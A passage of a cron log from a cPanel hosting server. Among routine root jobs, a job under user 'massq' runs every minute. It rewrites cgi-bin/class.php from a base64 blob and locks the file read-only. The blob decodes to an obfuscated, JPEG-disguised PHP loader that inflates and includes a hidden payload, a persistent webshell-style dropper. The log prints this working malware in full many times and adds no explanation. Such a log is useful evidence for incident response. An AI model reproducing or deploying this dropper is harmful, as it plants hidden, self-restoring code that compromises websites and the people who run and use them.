O1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:42:01 server CROND[13970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:42:01 server CROND[13969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:42:01 server CROND[13971]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 18:42:01 server CROND[13972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:43:01 server CROND[14363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:43:01 server CROND[14365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:43:01 server CROND[14364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:44:01 server CROND[14741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:44:01 server CROND[14742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:44:01 server CROND[14743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:45:01 server CROND[15229]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 18:45:01 server CROND[15233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:45:01 server CROND[15234]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:45:01 server CROND[15237]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 18:45:01 server CROND[15235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:45:01 server CROND[15238]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:45:01 server CROND[15239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:46:01 server CROND[16079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:46:01 server CROND[16080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:46:01 server CROND[16081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:47:01 server CROND[16463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:47:01 server CROND[16464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:47:01 server CROND[16465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:48:01 server CROND[16852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:48:01 server CROND[16853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:48:01 server CROND[16854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:49:01 server CROND[17267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:49:01 server CROND[17268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:49:01 server CROND[17269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:50:01 server CROND[17754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:50:01 server CROND[17756]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:50:01 server CROND[17757]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 18:50:01 server CROND[17755]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 18:50:01 server CROND[17762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:50:01 server CROND[17764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:50:01 server CROND[17761]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 18:50:01 server CROND[17771]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 18:50:01 server CROND[17772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:51:01 server CROND[18580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:51:01 server CROND[18581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:51:01 server CROND[18582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:52:01 server CROND[18970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:52:01 server CROND[18971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:52:01 server CROND[18972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:53:01 server CROND[19374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:53:01 server CROND[19375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:53:01 server CROND[19376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:54:01 server CROND[19766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:54:01 server CROND[19768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
